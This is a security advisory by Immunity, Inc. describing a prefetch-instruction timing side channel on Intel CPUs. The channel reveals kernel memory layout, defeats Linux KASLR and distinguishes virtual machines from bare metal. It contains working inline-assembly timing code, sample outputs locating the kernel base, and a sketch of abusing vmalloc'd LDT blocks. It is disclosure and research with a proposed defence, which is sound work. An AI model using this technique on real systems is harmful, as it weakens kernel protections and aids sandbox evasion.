Synopsis: **Intel CPU information leak**
Product: **Intel Core**
Version: **Haswell, probably others**
Vendor: **Intel**
URL: **http://www.intel.com/**
CVE: **N/A**
Author: **Immunity, Inc.**
Date: **Nov 28, 2014**

Issue:
======

The Intel processor family is and always has been the market leader for CPUs for consumer as well as for professional server products. Recently big efforts are made to introduce novel security features into the Intel CPU products which include the already widespread NX non-execute bit but also the newer SMEP (supervisor execution protection) and SMAP (supervisor access protection) extensions. Support for these features is recently being implemented into the market leading operating systems, in order to increase the OS security against local but also remote exploits.

One of core techniques used by operating systems in conjunction with the novel CPU features is the address space randomization approach. It intents to prevent exploits from knowing the OS or application memory layouts and so complicates crafting of attacks via storing / uploading of payloads that usually requires some knowledge about valid address locations on the target host.

We have already shown that on Linux SMEP and SMAP techniques are virtually useless when an attacker can guess the location of kernel mode stack of a user thread. We show in this paper how timing attacks can be crafted against the x86 Intel memory management unit (MMU) in order to further reveal the operating system's memory layout. Fingerprinting the kernel memory layout effectively disables the KASLR technique that is usually combined with SMAP to make heap spraying techniques unfeasible. Further, in case of Linux OS it could be used to reveal the locations of new vmalloc() blocks just by comparing the fingerprinted layouts before and after a vmalloc() call. These discovered vmalloc() blocks could be then abused as controllable supervisor mode storage to craft attacks against SMEP/SMAP protections (e.g. the task LDT is using a vmalloc block and the content of the LDT memory can be modified by user with lot of freedom).

Details:
========

When we deeply study the Intel instruction reference manual to our attention come the 'prefetch' instruction family. Seemingly this instruction class has no visible effect onto the program flow (it is just a 'hint') and surprisingly does neither generate any protected mode exception, which is quite interesting.

An extract from the Intel reference manual states:

```
PREFETCHh—Prefetch Data Into Caches

Opcode       Instruction         64-Bit       Compat        Description
0F 18 /1     PREFETCHT0 m8       Valid        Valid         Move data from m8 closer to the
                                                           processor using T0 hint.

Fetches the line of data from memory that contains the byte specified with the source
operand to a location in the cache hierarchy specified by a locality hint:
• T0 (temporal data)—prefetch data into all levels of the cache hierarchy.
— Pentium III processor—1st- or 2nd-level cache.
— Pentium 4 and Intel Xeon processors—2nd-level cache.
...

The source operand is a byte memory location. (The locality hints are encoded into the
machine level instruction using bits 3 through 5 of the ModR/M byte.) If the line selected
is already present in the cache hierarchy at a level closer to the processor, no data
movement occurs. Prefetches from uncacheable or WC memory are ignored.
The PREFETCHh instruction is merely a hint and does not affect program behavior. If
executed, this instruction moves data closer to the processor in anticipation of future use.
The implementation of prefetch locality hints is implementation-dependent, and can be
overloaded or ignored by a processor implementation. The amount of data prefetched is also
processor implementation-dependent.

Numeric Exceptions
 None.

Exceptions (All Operating Modes)
 #UD If the LOCK prefix is used.
```

Or in human readable form: “we do not say how it works”. Thus while this is a unprivileged instruction no error or exception is ever generated when user mode code tries to prefetch kernel data or code pages and this is quite interesting. The address operand is a virtual memory location thus it must be assumed that the CPU must do some MMU operations in order to resolve the given address into a physical page location. We expect that the normal page walk logic must be performed by the processor. This may also involve caching of TLB entries for valid translations and negative caching when no translation is present. The documentation is totally vague on this point. The documentation also states that the prefetch instruction is asynchronous, however, we expect that flooding the MMU with prefetch instructions at some point will saturate some out of order queues and the instruction may become pretty synchronous.

Exploitation:
=============

Lets test our assumptions with a little asm function. Our compiled binary has the .text segment at the standard 0x400000 location and the .bss segment at the default 0x600000 address. Our little function reads as:

```
ulong dotiming(ulong addr)
{
volatile ulong v=0;

       asm volatile (
       "      movq   %0, %%rsi                \n"
       :: "m"(addr)
       );

       asm volatile (
       "      xor    %eax, %eax               \n"
       "      rdtsc                           \n"
       "      shl    $32, %rdx                \n"
       "      orq    %rax, %rdx               \n"
       "      movl   $1000000, %edi           \n"
       "pf:   prefetcht0 (%rsi)               \n"
       "      decl   %edi                     \n"
       "      jne    pf                       \n"
       "      movq   %rdx, %rdi               \n"
       "      xor    %eax, %eax               \n"
       "      rdtsc                           \n"
       "      shl    $32, %rdx                \n"
       "      orq    %rax, %rdx               \n"
       "      subq   %rdi, %rdx               \n"
       );

       asm volatile (
       "      movq   %%rdx, %0                \n"
       :: "m"(v)
       );

       return v;
}
```

We just read the TSC counter and repeat a prefetch in a tight loop 1.000.000 times and then read again the TSC and return the CPU cycles difference.

We show the output of the test when 'fingerprinting' the .text and .bss ranges (cut down here to the relevant lines):

```
./nmysiwsyds 0x3e0000 0x620000

A: 0x00000000003e0000  T: 0041926932
A: 0x00000000003e1000  T: 0039866026
A: 0x00000000003e2000  T: 0037548777
A: 0x00000000003e3000  T: 0036098344
A: 0x00000000003e4000  T: 0035751106
...
A: 0x00000000003fd000  T: 0036598281
A: 0x00000000003fe000  T: 0036506847
A: 0x00000000003ff000  T: 0036982005
A: 0x0000000000400000  T: 0000960886
A: 0x0000000000401000  T: 0036685908
A: 0x0000000000402000  T: 0036657935
A: 0x0000000000403000  T: 0037193594
A: 0x0000000000404000  T: 0037712513
```

```
...
A: 0x00000000005fd000  T: 0035534270
A: 0x00000000005fe000  T: 0035739811
A: 0x00000000005ff000  T: 0036122127
A: 0x0000000000600000  T: 0000883516
A: 0x0000000000601000  T: 0000868290
A: 0x0000000000602000  T: 0036139810
A: 0x0000000000603000  T: 0036614879
A: 0x0000000000604000  T: 0036452895
A: 0x0000000000605000  T: 0035465702
```

We see a significant drop in the execution time at the address where the .text and .bss page mapping of the binary itself is present. The difference is about 50x faster and clearly visible.

Now lets try the above code on some kernel address ranges:

```
./nmysiwsyds 0xffffffff80f00000 0xffffffff88000000

A: 0xffffffff80f00000  T: 0038280560
A: 0xffffffff80f01000  T: 0038981571
A: 0xffffffff80f02000  T: 0038744300
A: 0xffffffff80f03000  T: 0038372042
...
A: 0xffffffff80ffb000  T: 0035827968
A: 0xffffffff80ffc000  T: 0035838536
A: 0xffffffff80ffd000  T: 0036177654
A: 0xffffffff80ffe000  T: 0036724954
A: 0xffffffff80fff000  T: 0036604721
A: 0xffffffff81000000  T: 0000878692
A: 0xffffffff81001000  T: 0001020744
A: 0xffffffff81002000  T: 0000868509
A: 0xffffffff81003000  T: 0000853831
A: 0xffffffff81004000  T: 0000832849
A: 0xffffffff81005000  T: 0000863714
```

Again a clear and visible drop in execution time is present at the place where the defaul kernel .text mapping starts on the target machine.

A similar experiment can also be conducted for the vmalloc kernel space and (withtout showing the longish result) equally reveals the mapped regions and the vmalloc gaps. This can easily be abused to guess the location of allocated LDT segment or other vmalloced structures and further ease a system compromise.

The final genesis of these timing differences remains unclear as the doc does not explain how the prefetch instruction really works and we can only make assumptions. Likely as sketched, a full page table walk must be done to localize the physical page that should be prefetched. It might be possible that the CPU also fetches the corresponding TLBs in case of a page hit but does not cache any negative TLB entry (the normal behavior also for page faults). Thus a repeated prefetch from area with no page tables would continuously trigger the page walk, while prefetching from existing memory would be quite fast due to TLB caching. The timing differences are then that big and significant because in contrast to normal memory access no page faults are generated, so the timing differences are not influenced by the execution times of any exception handlers. This is a theory not a proof.

We conclude that the current Linux KASLR kernel patch is absolutely inefficient in hiding the kernel virtual address range from user space applications in presence of CPU side channel attacks.

Further, with the prefetch instruction we also have a nice way to populate the TLB caches without the risk of triggering a page fault exception. This should not be a danger to the OS security if the OS is sound, however it should be seen as an additional potential attack vector to think about.

VM detection:
=============

We have conducted our timing experiments also for Linux guests running inside a virtual machine (KVM & Vmware). There is significant difference in the behavior of the prefetch instruction on bare metal hardware and inside a VM. A typical timing trace for kernel space with .text starting at 0xffffffff81000000 looks like:

```
A: 0xffffffff80ff8000  T: 0004417615
A: 0xffffffff80ff9000  T: 0004159390
A: 0xffffffff80ffa000  T: 0004159401
A: 0xffffffff80ffb000  T: 0004913071
A: 0xffffffff80ffc000  T: 0004161383
A: 0xffffffff80ffd000  T: 0004232938
A: 0xffffffff80ffe000  T: 0004379786
A: 0xffffffff80fff000  T: 0004299885
A: 0xffffffff81000000  T: 0008052203
A: 0xffffffff81001000  T: 0007225029
A: 0xffffffff81002000  T: 0000084203
A: 0xffffffff81003000  T: 0000084197
A: 0xffffffff81004000  T: 0007074057
A: 0xffffffff81005000  T: 0000114395
A: 0xffffffff81006000  T: 0000113506
A: 0xffffffff81007000  T: 0000112796
A: 0xffffffff81008000  T: 0007483127
A: 0xffffffff81009000  T: 0000084006
A: 0xffffffff8100a000  T: 0000084004
A: 0xffffffff8100b000  T: 0000084040
A: 0xffffffff8100c000  T: 0007543420
```

There is no decrease in execution time but rather a rise by a factor of 2 at the guest kernel start address. The guest is not paravirtualized that is the kernel paging structures of the guest do not differ from bare metal kernel and the virtualization is completely controlled by the hypervisor. The timing seems to vary heavily over the kernel address range with a granularity of 4kb. The variation pattern leads to the conclusion that 4kb TLBs are involved in caching of virtualized guest kernel address ranges.

A deeper look at Intel documentation explains this behavior. Both hypervisors that we tested used the VT-x/EPT mode which means that there is a second layer of memory translation between guest physical address and the host physical address. The EPT page tables have similar structure to conventional virtual-to-physical page tables but translate from guest physical to host physical memory. Intel doc states that in VT-x/EPT mode there is no caching of guest-

only TLBs. Instead only a combined TLB can be cached so that guest-virtual to guest-physical and guest-physical to host-physical mapping is cached in a single TLB entry. The TLB caching in EPT mode obviously also involves two page walks through the 2 different layers of page tables. This explains why the timing at the kernel boundary grows by roughly factor of two: while there is a guest virt-to-phy mapping at 0xffffffff81000000 (established by the guest at boot time) there might be no guest-phy to host-phy mapping established by the hypervisor yet.

This is likely to happen due to lazy hypervisor paging: hypervisor mappings are constructed only on demand via documented VMX exits. Thus access to these ranges via prefetch instruction will not establish any valid TLB mappings as the prefetch instruction does not cause any VMX exits (according to Intel doc – a feature or a bug?). This means that the hypervisor has no way to notice guest prefetching and establish the missing guest-phy to host-phy mappings (it could only parse the binary code of the guest and try to identify prefetch instructions however this is unlikely to be implemented that way). Each prefetch access to these ranges will then repeatedly generate two page walks, one walk through the guest page tables and second walk through the (missing) EPT page table, therefore the rise in execution time by roughly the factor of 2.

We can verify this hypothesis by disassembling the guest kernel e.g. at 0xffffffff81004000 and notice there is for example the divide by zero exception handler (together with some other rather unused exception handlers) code on that page address. Likely no divide by zero exceptions will happen during kernel bootup process. We trigger a divide by zero in user space and measure the timing of that kernel space region again and the spike at the address 0xffffffff81004000 disappears! The exception has produced a valid VMX exit and the hypervisor then has established a valid guest-phy to host-phy mapping.

To summarize we have found the following observations:

1. in VT-x mode the prefetch instruction does not generate VMX exits

2. in VT-x/EPT mode there are two layers of page tables: guest-virtual to guest-phy (GVGP) and guest-phy to host-phy (GPHP)

3. only combined GVGP+GPHP TLBs (that means both must be present and valid) can be cached by the Intel MMU and so two page walks must be done to generate a valid TLB

4. hypervisors likely use 4kb mappings for the EPT tables even if the guest uses large pages for the GVGP mappings (difficult to avoid if there are not enough large contiguous physical pages on the host system)

These observations so far provide a unique signature that can be used to distinguish bare metal system from a VM. Workarounds might be possible (e.g. via TSC tampering, however seem difficult to implement).

Notes:
======

OS designers can defend against kernel memory fingerprinting via modified KASLR strategy. Since we discover unallocated page table holes it is imaginable to extend vanilla KASLR by a kind of “ghost” mappings that would accompany the true kernel memory regions. Those fake mappings must point to prefetchable memory however map some decoy pages that do not hold user-modifiable data. If our theory about the origin of the timing differences is correct, it should be sufficient to have valid “ghost” mappings that can be cached into the TLBs to hide the real location of the KASLR kernel memory block. The decoy region must be adjacent to the true kernel memory block. However this strategy has a backside too: lot of fake mappings still consume page table memory and pose a significant memory-security tradeoff. Thus we think that it is not very probable that this technique will be implemented soon on Linux.